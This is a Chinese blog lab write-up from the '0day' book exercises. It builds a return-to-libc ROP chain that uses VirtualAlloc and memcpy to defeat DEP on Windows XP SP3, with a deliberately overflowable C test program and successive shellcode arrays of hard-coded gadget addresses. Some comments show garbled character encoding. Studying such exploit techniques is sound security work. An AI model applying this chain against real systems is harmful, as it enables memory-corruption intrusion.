0day 第12章–12.3.3 Ret2Libc实战之利用VirtualAlloc

  • Post author:
  • Post category:其他




实验环境:


Winxp sp3

VS2010


实验配置:


禁用优化、关闭GS、关闭safeseh、开启DEP

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述



思路:当程序需要一段可执行内存时,可以通过kernel32.dll的VirtualAlloc申请一段具有可执行属性的内存。因此可通过利用此函数将shellcode复制到申请的内存空间中,以绕过DEP。


如何利用?


将返回地址覆盖为VirtualAlloc的地址,参数输入进去即可。


VirtualAlloc(

LPVOID lpAddress, #申请内存区域的地址,

SIZE_T dwSize, #申请内存的大小

DWORD flAllocationType, #申请内存的类型

DWORD flProtect); #申请内存的访问控制类型,如读、写、执行等权限


参数设置:

我们将lpAddress=0x00030000,只要是一个未被占用的地址即可。

dwSize=0xff,申请的空间足够存放shellcode即可,我们选择255个字节

flAllocationType=0x00001000,查看MSDN可知这里是……

flProtext=0x00000040,内存属性设为可读可写可执行。

比较:

VirtualAlloc与VirtualProtect最大的区别在于VirutalAlloc各个参数不存在动态确定问题,可以直接写到shellcode里边。

实验程序:

#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
#include<string.h>
char shell[]={"\x90\x90\x90\x90\x90\x90\x90\x90"};

int test()
{
	printf("OK!");
	char array[4]={0};
	memcpy(array,shell,sizeof(shell)+1);
	return 0;
}

int main()
{
	HMODULE hMod = LoadLibrary(L"shell32.dll");
	test();
	return 0;
}


第一阶段:利用VirtualAlloc函数申请一段具有执行权限的内存


1、找到VirtualAlloc的地址

OD载入程序,右键查找->所有模块名称中查找,输入VirtualAlloc。发现有很多VirtualAlloc

在这里插入图片描述

双击这里进入,来到VirtualAllocEx处,发现和书中的函数差不多一致。(其他地方也可以试试,但都不一样。)记下地址0x7C809AF4

在这里插入图片描述

2、修复EBP

由于EBP被破坏因此首先修复EBP,依然用PUSH ESP POP EBP RETN 4进行修复

通过OllyFindAddr->Disable DEP-> Disable DEP <=SP3查找。选择0x5D1D8B85

在这里插入图片描述

验证一下EBP是否修复:

将shellcode后面添加这个地址进行修改,OD载入运行,通过字符串OK定位到程序处,下断点,F8运行,结束后果然运行到PUSH ESP POP EBP RETN 4指令处,而EBP也变成0x13FF78了。

在这里插入图片描述

3、布局VirtualAlloc

在shellcode后面再加上VirtualAlloc的地址,OD载入运行程序

在这里插入图片描述

发现程序修复完EBP后,直接执行VirtualAlloc。且从0x0013FF80处取参数,因此,我们在shellcode中部署上我们的参数。注意,0x0013FF78与0x0013FF80中间隔了4个字节。此外hProcess我们部署-1表示当前进程。

char shell[]={"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x85\x8b\x1d\x5d"
"\xf4\x9a\x80\x7c"
"\x90\x90\x90\x90"
"\xff\xff\xff\xff"
"\x00\x00\x03\x00"
"\xff\x00\x00\x00"
"\x00\x10\x00\x00"
"\x40\x00\x00\x00"};

OD载入,运行到VirutalAlloc下一行,eax=0x30000说明申请内存成功!

在这里插入图片描述

单步继续

在这里插入图片描述

发现由于pop ebp导致EBP被破坏!

在这里插入图片描述


第二阶段:向申请的内存空间中复制shellcode


<font=“red”>核心思路:使用memcpy()函数将shellcode复制到这段内存空间。

(1)memcpy(dst,src,size)其中目的内存地址和复制长度都可以直接写在shellcode中。唯一的难点在于内存源地址的确定。实际上我们不需要精确定位,只要保证源内存起始地址在shellcode中关键代码前面即可。因此可以使用PUSH ESP JMP EAX指令来填充这个参数。【不懂!】

(2)在申请后由于EBP被破坏,而后面我们还会用到EBP因此需要修复EBP

(3)VirtualAlloc返回时有16个字节的偏移(retn 0x10)

1、查询push esp jmp eax的值,由于OD找不到,因此使用Immunity Debugger查找0x77ebc6c6

在这里插入图片描述

将该地址复制给shellcode

char shell[]={"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x85\x8b\x1d\x5d" // 修复EBP
"\xf4\x9a\x80\x7c" //VirtualAlloc的地址
"\x90\x90\x90\x90"
"\xff\xff\xff\xff" //填充的参数
"\x00\x00\x03\x00"
"\xff\x00\x00\x00"
"\x00\x10\x00\x00"
"\x40\x00\x00\x00"
"\x90\x90\x90\x90"
"\xc6\xc6\xeb\x77" // push esp jmp eax
};

OD载入运行

在这里插入图片描述

接下来执行push esp jmp eax,

在这里插入图片描述

接下来就跳转到eax=0x00030000处,异常执行。


接下来需要做两件事:

(1)填充eax,将shellcode地址部署到eax中

(2)修复EBP,因为如图发现EBP又被破坏了,后续还会用到EBP,因为查看memcpy源码可知,源内存地址在[ebp+0xc]处,因此需要修复EBP

1、填充eax,在eax中部署shellcode即可。

提问:那么如何获得EAX呢?

回答:像上次实验一样,用pop eax retn指令获得EAX的值

依然使用OD插件OllyFindAddr搜索得到pop eax,地址是0x7DA6433C

在这里插入图片描述

再次修改shellcode,

char shell[]={"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x85\x8b\x1d\x5d" // 修T复¡äEBP
"\xf4\x9a\x80\x7c" //VirtualAlloc的Ì?地Ì?址¡¤
"\x90\x90\x90\x90"
"\xff\xff\xff\xff" //填¬?充?的Ì?参?数ºy
"\x00\x00\x03\x00"
"\xff\x00\x00\x00"
"\x00\x10\x00\x00"
"\x40\x00\x00\x00"
"\x90\x90\x90\x90"
"\x3c\x43\xa6\x7d" // pop eax retn
"\xc6\xc6\xeb\x77" // push esp jmp eax
};

运行到pop eax retn处

在这里插入图片描述

发现eax即将得到的值所在的地址与shellcode相差了12个字节。这里我们用0x909090填充。而且我们的eax指向了地址:0x44e7b9dc(这是啥地址?一脸懵逼)我们将其先填充为0x41414141吧。此外,执行完pop eax retn之后,才执行push esp jmp eax吧,因此我们将0x77ebc6c6向下移动。

因此修改shellcode如下:

char shell[]={"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x85\x8b\x1d\x5d" // 修T复¡äEBP
"\xf4\x9a\x80\x7c" //VirtualAlloc的Ì?地Ì?址¡¤
"\x90\x90\x90\x90"
"\xff\xff\xff\xff" //填¬?充?的Ì?参?数ºy
"\x00\x00\x03\x00"
"\xff\x00\x00\x00"
"\x00\x10\x00\x00"
"\x40\x00\x00\x00"
"\x90\x90\x90\x90"
"\x3c\x43\xa6\x7d" // pop eax retn
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x41\x41\x41\x41" // eax指?向¨°的Ì?值¦Ì
"\xc6\xc6\xeb\x77" // push esp jmp eax
};

OD载入运行,执行完VirtualAlloc则将转到pop eax retn处

在这里插入图片描述

单步继续

在这里插入图片描述

则eax的值即将为0x41414141。单步继续

在这里插入图片描述

则eax变为0x41414141,而且即将执行push esp pop retn,单步继续

在这里插入图片描述

在这里插入图片描述

程序执行0x41414141,程序终止。

2、修复ESP肯定在PUSH ESP JMP EAX之前,因此

char shell[]={"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x85\x8b\x1d\x5d" // 修T复¡äEBP
"\xf4\x9a\x80\x7c" //VirtualAlloc的Ì?地Ì?址¡¤
"\x90\x90\x90\x90"
"\xff\xff\xff\xff" //填¬?充?的Ì?参?数ºy
"\x00\x00\x03\x00"
"\xff\x00\x00\x00"
"\x00\x10\x00\x00"
"\x40\x00\x00\x00"
"\x90\x90\x90\x90"
"\x3c\x43\xa6\x7d" // pop eax retn
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x41\x41\x41\x41" // eax指向的值
"\x85\x8b\x1d\x5d"  // 修复EBP
"\xc6\xc6\xeb\x77" // push esp jmp eax
};

OD载入,运行到第二次修复EBP时

在这里插入图片描述

接下来继续执行还会出现上述情况,执行PUSH ESP JMP EAX指令,最终跳到0x41414141终止。


第三阶段


memcpy的源码如下:

在这里插入图片描述

查看一下memcpy的源码,源内存地址为[ebp+0xc],而我们想通过使用PUSH ESP的方式设置内存源地址,因此需要让ESP指向EBP+0x10处,这样执行完PUSH ESP后,值就刚好放到EBP+0xc处了。为了达到这个目的,需要解决两个问题:


(1)问题:如何让ESP执行EBP+0x10处?

回答:目前ESP指向EBP处(这里是修复完EBP后),而执行完RETN 0x4之后,ESP执行EBP+0x8处,因此通过POP RETN指令即可达到EBP+0x10处。


(2)问题:PUSH完成后如何收回控制权?

回答:执行完PUSH操作后收回程序控制权的最佳位置在EBP+0x14处,因为在这个位置执行RETN指令既保证了memcpy参数不被破坏,又可以减少shellcode长度。

因此在执行完PUSH操作后,我们只需要POP两次就可以让ESP指向EBP+0x14,所以只要让JMP EAX指令中的EAX指向POP POP RETN指令即可。

接着在EBP+0x14位置处放置memcpy函数的切入点0x7C921DB8,这样执行完POP POP RETN指令就转入memcpy函数中执行复制操作了。

1、OD载入程序,寻找POP RETN指令,0x7DA17E94

在这里插入图片描述

“\x41\x41\x41\x41” // eax指?向¨°的Ì?值¦Ì

“\x85\x8b\x1d\x5d” // 修T复¡äEBP

“\x94\x7e\xa1\x7d” // pop ebx retn

“\xc6\xc6\xeb\x77” // push esp jmp eax

在这里插入图片描述

由于EBP+0xc 和EBP相差了8个字节,因此,更改shellcode布局如下:

“\x41\x41\x41\x41” // eax指?向¨°的Ì?值¦Ì

“\x85\x8b\x1d\x5d” // 修T复¡äEBP

“\x94\x7e\xa1\x7d” // pop ebx retn

“\x90\x90\x90\x90\x90\x90\x90\x90”

“\xc6\xc6\xeb\x77” // push esp jmp eax

OD载入运行,运行到push esp jmp eax停下

在这里插入图片描述

则接下来程序从0x13FFC4中取东西进行push 操作,则我们需要在这儿写入memcpy的地址0x7C921DB8

此时,shellcode如下:

char shell[]={"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x85\x8b\x1d\x5d" // 修T复¡äEBP
"\xf4\x9a\x80\x7c" //VirtualAlloc的Ì?地Ì?址¡¤
"\x90\x90\x90\x90"
"\xff\xff\xff\xff" //填¬?充?的Ì?参?数ºy
"\x00\x00\x03\x00"
"\xff\x00\x00\x00"
"\x00\x10\x00\x00"
"\x40\x00\x00\x00"
"\x90\x90\x90\x90"
"\x3c\x43\xa6\x7d" // pop eax retn
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x41\x41\x41\x41" // eax指?向¨°的Ì?值¦Ì
"\x85\x8b\x1d\x5d" // 修T复¡äEBP
"\x94\x7e\xa1\x7d" // pop ebx retn
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xc6\xc6\xeb\x77" // push esp jmp eax
"\xb8\x1d\x92\x7c" // memcpy地Ì?址¡¤
};

由于程序执行到push esp jmp eax后,会跳到eax,按照刚才的分析,eax应该存放pop pop retn获得程序的控制权。

在这里插入图片描述

找到Pop pop retn指令的地址,随便选择一个0x7D6713AE

在这里插入图片描述

将刚才shellcode中0x41414141改为0x7D6713AE,运行程序到pop eax retn处

在这里插入图片描述

EAX以变为POP POP RETN的地址了,单步继续运行到POP POP RETN完结处

在这里插入图片描述

发现程序即将从0x13FFC8执行,因此我们的PUSH ESP JMP EAX指令和memcpy函数的地址中间应该相隔4个字节,我们先用0x41414141填充吧,

则执行到push esp jmp eax时,

在这里插入图片描述

由于memcpy的3个参数分别在ebp+8,ebp+0xc,ebp+0x10处,因此修改shellcode如下:

char shell[]={"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x85\x8b\x1d\x5d" // 修T复¡äEBP
"\xf4\x9a\x80\x7c" //VirtualAlloc的Ì?地Ì?址¡¤
"\x90\x90\x90\x90"
"\xff\xff\xff\xff" //填¬?充?的Ì?参?数ºy
"\x00\x00\x03\x00"
"\xff\x00\x00\x00"
"\x00\x10\x00\x00"
"\x40\x00\x00\x00"
"\x90\x90\x90\x90"
"\x3c\x43\xa6\x7d" // pop eax retn
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xae\x13\x67\x7d" // eax指向的值
"\x85\x8b\x1d\x5d" // 修复EBP
"\x94\x7e\xa1\x7d" // pop ebx retn
"\x90\x90\x90\x90"
"\x00\x00\x03\x00" // 可执行空间地址,(memcpy的第1个参数,目标地址)
"\xc6\xc6\xeb\x77" // push esp jmp eax &原始shellcode地址(memcpy的第2个参数)
"\xff\x00\x00\x00"  // shellcode长度,(memcpy的第三个参数)
"\xb8\x1d\x92\x7c" // memcpy地址
"\x42\x42\x42\x42"// shellcode
"\x42\x42\x42\x42"
"\x42\x42\x42\x42"
"\x42\x42\x42\x42"
"\x42\x42\x42\x42"

};

但是OD载入,运行到memcpy即将结束时发现程序将转到0x909090处执行,说明0x0013FFB8处存放的是memcpy的返回地址

在这里插入图片描述

因此我们将memcpy的返回地址改为0x00030000即可。

OD重新加载程序,则memcpy运行完后将返回到0x00030000处执行。

在这里插入图片描述

单步继续

在这里插入图片描述

发现我们的shellcode从0x00030008处开始执行,因此我们将memcpy的返回地址改为0x00030008即可。

在这里插入图片描述

成功!


遇到的坑:

1、 对memcpy函数的参数时,将可执行内存地址错写成0x00300000,因此在运行到memcpy函数内部一直报错,还找不到原因……

2、 由于上两篇写的太久了,导致挑选ROP时又忘了,多花了时间……下次果然一件事不要隔太久做。



版权声明:本文为qq_15727809原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。